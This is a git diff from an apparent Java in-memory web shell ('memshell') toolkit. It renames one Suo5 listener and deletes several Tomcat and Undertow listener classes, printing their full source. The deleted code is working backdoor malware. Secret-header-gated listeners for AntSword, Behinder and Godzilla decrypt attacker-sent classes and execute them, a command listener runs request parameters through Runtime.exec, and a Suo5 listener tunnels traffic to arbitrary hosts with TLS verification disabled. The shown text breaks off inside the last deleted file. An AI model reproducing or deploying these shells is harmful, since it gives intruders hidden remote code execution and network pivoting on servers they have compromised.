memshell/src/main/java/com/reajason/javaweb/memshell/apusic/suo5/Suo5Listener.java rename to memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Listener.java index d2b10c97..897ecdfd 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/suo5/Suo5Listener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Listener.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memshell.apusic.suo5; +package com.reajason.javaweb.memshell.shelltool.suo5; import javax.net.ssl.*; import javax.servlet.ServletRequestEvent; @@ -592,6 +592,6 @@ public class Suo5Listener implements ServletRequestListener, Runnable, HostnameV } private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - return (HttpServletResponse) getFieldValue(getFieldValue(request, "parameters"), "response"); + return null; } } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/antsword/AntSwordListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/antsword/AntSwordListener.java deleted file mode 100644 index 3bcd1bc0..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/antsword/AntSwordListener.java +++ /dev/null @@ -1,105 +0,0 @@ -package com.reajason.javaweb.memshell.tomcat.antsword; - -import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; - -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; -import javax.servlet.ServletRequestEvent; -import javax.servlet.ServletRequestListener; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpSession; -import java.lang.reflect.Field; -import java.util.HashMap; -import java.util.Map; - -/** - * @author ReaJason - * @since 2024/12/21 - */ -public class AntSwordListener extends ClassLoader implements ServletRequestListener { - public static String pass; - public static String headerName; - public static String headerValue; - - public AntSwordListener() { - } - - public AntSwordListener(ClassLoader z) { - super(z); - } - - @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) { - byte[] value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("deprecation") - public Class g(byte[] cb) { - return super.defineClass(cb, 0, cb.length); - } - - @Override - public void requestDestroyed(ServletRequestEvent servletRequestEvent) { - } - - @Override - @SuppressWarnings("all") - public void requestInitialized(ServletRequestEvent servletRequestEvent) { - HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); - try { - if (request.getHeader(headerName) != null - && request.getHeader(headerName).contains(headerValue)) { - HttpServletResponse response = getResponseFromRequest(request); - byte[] bytes = base64Decode(request.getParameter(pass)); - Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance(); - instance.equals(new Object[]{request, response}); - } - } catch (Exception ignored) { - } - } - - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - HttpServletResponse response = null; - try { - response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); - } catch (Exception e) { - response = (HttpServletResponse) getFieldValue(request, "response"); - } - return response; - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/behinder/BehinderListener.java deleted file mode 100644 index 81202c74..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/behinder/BehinderListener.java +++ /dev/null @@ -1,121 +0,0 @@ -package com.reajason.javaweb.memshell.tomcat.behinder; - -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; -import javax.servlet.ServletRequestEvent; -import javax.servlet.ServletRequestListener; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpSession; -import java.lang.reflect.Field; -import java.util.HashMap; -import java.util.Map; - -/** - * @author ReaJason - * @since 2024/12/21 - */ -public class BehinderListener extends ClassLoader implements ServletRequestListener { - public static String pass; - public static String headerName; - public static String headerValue; - - public BehinderListener() { - } - - public BehinderListener(ClassLoader z) { - super(z); - } - - @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) { - byte[] value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("deprecation") - public Class g(byte[] cb) { - return super.defineClass(cb, 0, cb.length); - } - - @Override - public void requestDestroyed(ServletRequestEvent servletRequestEvent) { - } - - @Override - @SuppressWarnings("all") - public void requestInitialized(ServletRequestEvent servletRequestEvent) { - HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); - try { - if (request.getHeader(headerName) != null - && request.getHeader(headerName).contains(headerValue)) { - HttpServletResponse response = this.getResponseFromRequest(request); - HttpSession session = ((HttpServletRequest) request).getSession(); - Map obj = new HashMap(3); - obj.put("request", request); - obj.put("response", getInternalResponse(response)); - obj.put("session", session); - session.setAttribute("u", this.pass); - Cipher c = Cipher.getInstance("AES"); - c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); - byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine())); - Object instance = (new BehinderListener(this.getClass().getClassLoader())).g(bytes).newInstance(); - instance.equals(obj); - } - } catch (Exception ignored) { - } - } - - public HttpServletResponse getInternalResponse(HttpServletResponse response) { - while (true) { - try { - response = (HttpServletResponse) getFieldValue(response, "response"); - } catch (Exception e) { - return response; - } - } - } - - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - HttpServletResponse response = null; - try { - response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); - } catch (Exception e) { - response = (HttpServletResponse) getFieldValue(request, "response"); - } - return response; - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/command/CommandListener.java deleted file mode 100644 index 0368bfb6..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/command/CommandListener.java +++ /dev/null @@ -1,74 +0,0 @@ -package com.reajason.javaweb.memshell.tomcat.command; - -import javax.servlet.ServletOutputStream; -import javax.servlet.ServletRequestEvent; -import javax.servlet.ServletRequestListener; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import java.io.InputStream; -import java.lang.reflect.Field; - -/** - * @author ReaJason - */ -public class CommandListener implements ServletRequestListener { - public static String paramName; - - public CommandListener() { - } - - @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - - @Override - public void requestDestroyed(ServletRequestEvent sre) { - - } - - @Override - public void requestInitialized(ServletRequestEvent servletRequestEvent) { - HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); - try { - String cmd = request.getParameter(paramName); - if (cmd != null) { - HttpServletResponse servletResponse = this.getResponseFromRequest(request); - Process exec = Runtime.getRuntime().exec(cmd); - InputStream inputStream = exec.getInputStream(); - ServletOutputStream outputStream = servletResponse.getOutputStream(); - byte[] buf = new byte[8192]; - int length; - while ((length = inputStream.read(buf)) != -1) { - outputStream.write(buf, 0, length); - } - } - } catch (Exception ignored) { - } - } - - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - HttpServletResponse response = null; - try { - response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); - } catch (Exception e) { - response = (HttpServletResponse) getFieldValue(request, "response"); - } - return response; - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/godzilla/GodzillaListener.java deleted file mode 100644 index 2b94c743..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/godzilla/GodzillaListener.java +++ /dev/null @@ -1,148 +0,0 @@ -package com.reajason.javaweb.memshell.tomcat.godzilla; - -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; -import javax.servlet.ServletRequestEvent; -import javax.servlet.ServletRequestListener; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpSession; -import java.io.ByteArrayOutputStream; -import java.lang.reflect.Field; - -/** - * @author ReaJason - */ -public class GodzillaListener extends ClassLoader implements ServletRequestListener { - public static String key; - public static String pass; - public static String md5; - public static String headerName; - public static String headerValue; - - public GodzillaListener() { - } - - public GodzillaListener(ClassLoader z) { - super(z); - } - - @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - - @SuppressWarnings("all") - public static String base64Encode(byte[] bs) throws Exception { - String value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Encoder"); - Object encoder = base64.newInstance(); - value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) { - byte[] value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("deprecation") - public Class Q(byte[] cb) { - return super.defineClass(cb, 0, cb.length); - } - - public byte[] x(byte[] s, boolean m) { - try { - Cipher c = Cipher.getInstance("AES"); - c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); - return c.doFinal(s); - } catch (Exception var4) { - return null; - } - } - - @Override - public void requestDestroyed(ServletRequestEvent servletRequestEvent) { - } - - @Override - @SuppressWarnings("all") - public void requestInitialized(ServletRequestEvent servletRequestEvent) { - HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); - try { - if (request.getHeader(headerName) != null - && request.getHeader(headerName).contains(headerValue)) { - HttpServletResponse response = this.getResponseFromRequest(request); - HttpSession session = request.getSession(); - byte[] data = base64Decode(request.getParameter(pass)); - data = this.x(data, false); - if (session.getAttribute("payload") == null) { - session.setAttribute( - "payload", - (new GodzillaListener(this.getClass().getClassLoader())).Q(data)); - } else { - request.setAttribute("parameters", data); - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f = ((Class) session.getAttribute("payload")).newInstance(); - f.equals(arrOut); - f.equals(request); - response.getWriter().write(md5.substring(0, 16)); - f.toString(); - response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); - response.getWriter().write(md5.substring(16)); - response.flushBuffer(); - } - } - } catch (Exception ignored) { - } - } - - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - HttpServletResponse response = null; - try { - response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); - } catch (Exception e) { - response = (HttpServletResponse) getFieldValue(request, "response"); - } - return response; - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/suo5/Suo5Listener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/suo5/Suo5Listener.java deleted file mode 100644 index c82e8847..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/suo5/Suo5Listener.java +++ /dev/null @@ -1,603 +0,0 @@ -package com.reajason.javaweb.memshell.tomcat.suo5; - -import javax.net.ssl.*; -import javax.servlet.ServletRequestEvent; -import javax.servlet.ServletRequestListener; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import java.io.*; -import java.lang.reflect.Field; -import java.net.*; -import java.nio.ByteBuffer; -import java.security.cert.CertificateException; -import java.security.cert.X509Certificate; -import java.util.Enumeration; -import java.util.HashMap; - -/** - * @author ReaJason - * @since 2024/12/15 - */ -public class Suo5Listener implements ServletRequestListener, Runnable, HostnameVerifier, X509TrustManager { - public static String headerName; - public static String headerValue; - public static HashMap addrs = collectAddr(); - public static HashMap ctx = new HashMap(); - - InputStream gInStream; - OutputStream gOutStream; - - public Suo5Listener() { - } - - public Suo5Listener(InputStream in, OutputStream out) { - this.gInStream = in; - this.gOutStream = out; - } - - public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException { - int bufferOffset = 0; - while (bufferOffset < b.length) { - int readLength = b.length - bufferOffset; - int readResult = is.read(b, bufferOffset, readLength); - if (readResult == -1) break; - bufferOffset += readResult; - } - } - - public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException { - InputStream in = request.getInputStream(); - byte[] data = new byte[32]; - readFull(in, data); - OutputStream out = response.getOutputStream(); - out.write(data); - out.flush(); - } - - - private HashMap newCreate(byte s) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x04}); - m.put("s", new byte[]{s}); - return m; - } - - private HashMap newData(byte[] data) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x01}); - m.put("dt", data); - return m; - } - - private HashMap newDel() { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x02}); - return m; - } - - private HashMap newStatus(byte b) { - HashMap m = new HashMap(); - m.put("s", new byte[]{b}); - return m; - } - - byte[] u32toBytes(int i) { - byte[] result = new byte[4]; - result[0] = (byte) (i >> 24); - result[1] = (byte) (i >> 16); - result[2] = (byte) (i >> 8); - result[3] = (byte) (i /*>> 0*/); - return result; - } - - int bytesToU32(byte[] bytes) { - return ((bytes[0] & 0xFF) << 24) | - ((bytes[1] & 0xFF) << 16) | - ((bytes[2] & 0xFF) << 8) | - ((bytes[3] & 0xFF) << 0); - } - - synchronized void put(String k, Object v) { - ctx.put(k, v); - } - - synchronized Object get(String k) { - return ctx.get(k); - } - - synchronized Object remove(String k) { - return ctx.remove(k); - } - - byte[] copyOfRange(byte[] original, int from, int to) { - int newLength = to - from; - if (newLength < 0) { - throw new IllegalArgumentException(from + " > " + to); - } - byte[] copy = new byte[newLength]; - int copyLength = Math.min(original.length - from, newLength); - // can't use System.arraycopy of Arrays.copyOf, there is no system in some environment - // System.arraycopy(original, from, copy, 0, copyLength); - for (int i = 0; i < copyLength; i++) { - copy[i] = original[from + i]; - } - return copy; - } - - - private byte[] marshal(HashMap m) throws IOException { - ByteArrayOutputStream buf = new ByteArrayOutputStream(); - Object[] keys = m.keySet().toArray(); - for (int i = 0; i < keys.length; i++) { - String key = (String) keys[i]; - byte[] value = (byte[]) m.get(key); - buf.write((byte) key.length()); - buf.write(key.getBytes()); - buf.write(u32toBytes(value.length)); - buf.write(value); - } - - byte[] data = buf.toByteArray(); - ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length); - dbuf.putInt(data.length); - // xor key - byte key = (byte) ((Math.random() * 255) + 1); - dbuf.put(key); - for (int i = 0; i < data.length; i++) { - data[i] = (byte) (data[i] ^ key); - } - dbuf.put(data); - return dbuf.array(); - } - - private HashMap unmarshal(InputStream in) throws Exception { - byte[] header = new byte[4 + 1]; // size and datatype - readFull(in, header); - // read full - ByteBuffer bb = ByteBuffer.wrap(header); - int len = bb.getInt(); - int x = bb.get(); - if (len > 1024 * 1024 * 32) { - throw new IOException("invalid len"); - } - byte[] bs = new byte[len]; - readFull(in, bs); - for (int i = 0; i < bs.length; i++) { - bs[i] = (byte) (bs[i] ^ x); - } - HashMap m = new HashMap(); - byte[] buf; - for (int i = 0; i < bs.length - 1; ) { - short kLen = bs[i]; - i += 1; - if (i + kLen >= bs.length) { - throw new Exception("key len error"); - } - if (kLen < 0) { - throw new Exception("key len error"); - } - buf = copyOfRange(bs, i, i + kLen); - String key = new String(buf); - i += kLen; - - if (i + 4 >= bs.length) { - throw new Exception("value len error"); - } - buf = copyOfRange(bs, i, i + 4); - int vLen = bytesToU32(buf); - i += 4; - if (vLen < 0) { - throw new Exception("value error"); - } - - if (i + vLen > bs.length) { - throw new Exception("value error"); - } - byte[] value = copyOfRange(bs, i, i + vLen); - i += vLen; - - m.put(key, value); - } - return m; - } - - private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception { - final InputStream reqInputStream = request.getInputStream(); - HashMap dataMap = unmarshal(reqInputStream); - - byte[] action = (byte[]) dataMap.get("ac"); - if (action.length != 1 || action[0] != 0x00) { - resp.setStatus(403); - return; - } - resp.setBufferSize(512); - final OutputStream respOutStream = resp.getOutputStream(); - - // 0x00 create socket - resp.setHeader("X-Accel-Buffering", "no"); - Socket sc; - try { - String host = new String((byte[]) dataMap.get("h")); - int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); - if (port == 0) { - try { - // Cannot convert Integer to int - port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } catch (Exception e) { - port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } - } - sc = new Socket(); - sc.connect(new InetSocketAddress(host, port), 5000); - } catch (Exception e) { - respOutStream.write(marshal(newStatus((byte) 0x01))); - respOutStream.flush(); - respOutStream.close(); - return; - } - - respOutStream.write(marshal(newStatus((byte) 0x00))); - respOutStream.flush(); - resp.flushBuffer(); - - final OutputStream scOutStream = sc.getOutputStream(); - final InputStream scInStream = sc.getInputStream(); - - Thread t = null; - try { - Suo5Listener p = new Suo5Listener(scInStream, respOutStream); - t = new Thread(p); - t.start(); - readReq(reqInputStream, scOutStream); - } catch (Exception e) { -// System.out.printf("pipe error, %s\n", e); - } finally { - sc.close(); - respOutStream.close(); - if (t != null) { - t.join(); - } - } - } - - private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException { - byte[] readBuf = new byte[1024 * 8]; - while (true) { - int n = inputStream.read(readBuf); - if (n <= 0) { - break; - } - byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); - if (needMarshal) { - dataTmp = marshal(newData(dataTmp)); - } - outputStream.write(dataTmp); - outputStream.flush(); - } - } - - private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception { - while (true) { - HashMap dataMap; - dataMap = unmarshal(bufInputStream); - - byte[] actions = (byte[]) dataMap.get("ac"); - if (actions.length != 1) { - return; - } - byte action = actions[0]; - if (action == 0x02) { - socketOutStream.close(); - return; - } else if (action == 0x01) { - byte[] data = (byte[]) dataMap.get("dt"); - if (data.length != 0) { - socketOutStream.write(data); - socketOutStream.flush(); - } - } else if (action == 0x03) { - continue; - } else { - return; - } - } - } - - private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws - Exception { - InputStream is = request.getInputStream(); - BufferedInputStream reader = new BufferedInputStream(is); - HashMap dataMap; - dataMap = unmarshal(reader); - - - String clientId = new String((byte[]) dataMap.get("id")); - byte[] actions = (byte[]) dataMap.get("ac"); - if (actions.length != 1) { - resp.setStatus(403); - return; - } - /* - ActionCreate byte = 0x00 - ActionData byte = 0x01 - ActionDelete byte = 0x02 - ActionHeartbeat byte = 0x03 - */ - byte action = actions[0]; - byte[] redirectData = (byte[]) dataMap.get("r"); - boolean needRedirect = redirectData != null && redirectData.length > 0; - String redirectUrl = ""; - if (needRedirect) { - dataMap.remove("r"); - redirectUrl = new String(redirectData); - needRedirect = !isLocalAddr(redirectUrl); - } - // load balance, send request with data to request url - // action 0x00 need to pipe, see below - if (needRedirect && action >= 0x01 && action <= 0x03) { - HttpURLConnection conn = redirect(request, dataMap, redirectUrl); - conn.disconnect(); - return; - } - - resp.setBufferSize(512); - OutputStream respOutStream = resp.getOutputStream(); - if (action == 0x02) { - Object o = this.get(clientId); - if (o == null) return; - OutputStream scOutStream = (OutputStream) o; - scOutStream.close(); - return; - } else if (action == 0x01) { - Object o = this.get(clientId); - if (o == null) { - respOutStream.write(marshal(newDel())); - respOutStream.flush(); - respOutStream.close(); - return; - } - OutputStream scOutStream = (OutputStream) o; - byte[] data = (byte[]) dataMap.get("dt"); - if (data.length != 0) { - scOutStream.write(data); - scOutStream.flush(); - } - respOutStream.close(); - return; - } else { - } - - if (action != 0x00) { - return; - } - // 0x00 create new tunnel - resp.setHeader("X-Accel-Buffering", "no"); - String host = new String((byte[]) dataMap.get("h")); - int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); - if (port == 0) { - try { - port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } catch (Exception e) { - port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } - } - - InputStream readFrom; - Socket sc = null; - HttpURLConnection conn = null; - - if (needRedirect) { - // pipe redirect stream and current response body - conn = redirect(request, dataMap, redirectUrl); - readFrom = conn.getInputStream(); - } else { - // pipe socket stream and current response body - try { - sc = new Socket(); - sc.connect(new InetSocketAddress(host, port), 5000); - readFrom = sc.getInputStream(); - this.put(clientId, sc.getOutputStream()); - respOutStream.write(marshal(newStatus((byte) 0x00))); - respOutStream.flush(); - resp.flushBuffer(); - } catch (Exception e) { -// System.out.printf("connect error %s\n", e); -// e.printStackTrace(); - this.remove(clientId); - respOutStream.write(marshal(newStatus((byte) 0x01))); - respOutStream.flush(); - respOutStream.close(); - return; - } - } - try { - readSocket(readFrom, respOutStream, !needRedirect); - } catch (Exception e) { -// System.out.println("socket error " + e.toString()); -// e.printStackTrace(); - } finally { - if (sc != null) { - sc.close(); - } - if (conn != null) { - conn.disconnect(); - } - respOutStream.close(); - this.remove(clientId); - } - } - - public void run() { - try { - readSocket(gInStream, gOutStream, true); - } catch (Exception e) { -// System.out.printf("read socket error, %s\n", e); -// e.printStackTrace(); - } - } - - static HashMap collectAddr() { - HashMap addrs = new HashMap(); - try { - Enumeration nifs = NetworkInterface.getNetworkInterfaces(); - while (nifs.hasMoreElements()) { - NetworkInterface nif = (NetworkInterface) nifs.nextElement(); - Enumeration addresses = nif.getInetAddresses(); - while (addresses.hasMoreElements()) { - InetAddress addr = (InetAddress) addresses.nextElement(); - String s = addr.getHostAddress(); - if (s != null) { - // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 - int ifaceIndex = s.indexOf('%'); - if (ifaceIndex != -1) { - s = s.substring(0, ifaceIndex); - } - addrs.put((Object) s, (Object) Boolean.TRUE); - } - } - } - } catch (Exception e) { -// System.out.printf("read socket error, %s\n", e); -// e.printStackTrace(); - } - return addrs; - } - - boolean isLocalAddr(String url) throws Exception { - String ip = (new URL(url)).getHost(); - return addrs.containsKey(ip); - } - - HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception { - String method = request.getMethod(); - URL u = new URL(rUrl); - HttpURLConnection conn = (HttpURLConnection) u.openConnection(); - conn.setRequestMethod(method); - try { - // conn.setConnectTimeout(3000); - conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); - // conn.setReadTimeout(0); - conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); - } catch (Exception e) { - // java1.4 - } - conn.setDoOutput(true); - conn.setDoInput(true); - - // ignore ssl verify - // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java - if (HttpsURLConnection.class.isInstance(conn)) { - ((HttpsURLConnection) conn).setHostnameVerifier(this); - SSLContext sslCtx = SSLContext.getInstance("SSL"); - sslCtx.init(null, new TrustManager[]{this}, null); - ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); - } - - byte[] newBody = marshal(dataMap); - Enumeration headers = request.getHeaderNames(); - while (headers.hasMoreElements()) { - String k = (String) headers.nextElement(); - if (k.equals("Content-Length")) { - conn.setRequestProperty(k, String.valueOf(newBody.length)); - continue; - } else if (k.equals("Host")) { - conn.setRequestProperty(k, u.getHost()); - continue; - } else if (k.equals("Connection")) { - conn.setRequestProperty(k, "close"); - continue; - } else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) { - continue; - } else { - conn.setRequestProperty(k, request.getHeader(k)); - } - } - - OutputStream rout = conn.getOutputStream(); - rout.write(newBody); - rout.flush(); - rout.close(); - conn.getResponseCode(); - return conn; - } - - public boolean verify(String hostname, SSLSession session) { - return true; - } - - public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { - } - - public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { - } - - public X509Certificate[] getAcceptedIssuers() { - return new X509Certificate[0]; - } - - @Override - public void requestDestroyed(ServletRequestEvent sre) { - - } - - @Override - public void requestInitialized(ServletRequestEvent servletRequestEvent) { - HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); - try { - if (request.getHeader(headerName) != null - && request.getHeader(headerName).contains(headerValue)) { - HttpServletResponse response = getResponseFromRequest(request); - String contentType = request.getContentType(); - if (contentType == null) { - return; - } - try { - if (contentType.equals("application/plain")) { - tryFullDuplex(request, response); - return; - } - - if (contentType.equals("application/octet-stream")) { - processDataBio(request, response); - } else { - processDataUnary(request, response); - } - } catch (Throwable e) { -// System.out.printf("process data error %s\n", e); -// e.printStackTrace(); - } - } - } catch (Exception ignored) { - } - } - - @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - HttpServletResponse response = null; - try { - response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); - } catch (Exception e) { - response = (HttpServletResponse) getFieldValue(request, "response"); - } - return response; - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/antsword/AntSwordListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/antsword/AntSwordListener.java deleted file mode 100644 index 0c080cb2..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/antsword/AntSwordListener.java +++ /dev/null @@ -1,102 +0,0 @@ -package com.reajason.javaweb.memshell.undertow.antsword; - -import javax.servlet.ServletRequestEvent; -import javax.servlet.ServletRequestListener; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import java.lang.reflect.Field; -import java.util.Map; - -/** - * @author ReaJason - * @since 2024/12/21 - */ -public class AntSwordListener extends ClassLoader implements ServletRequestListener { - public static String pass; - public static String headerName; - public static String headerValue; - - public AntSwordListener() { - } - - public AntSwordListener(ClassLoader z) { - super(z); - } - - @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) { - byte[] value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("deprecation") - public Class 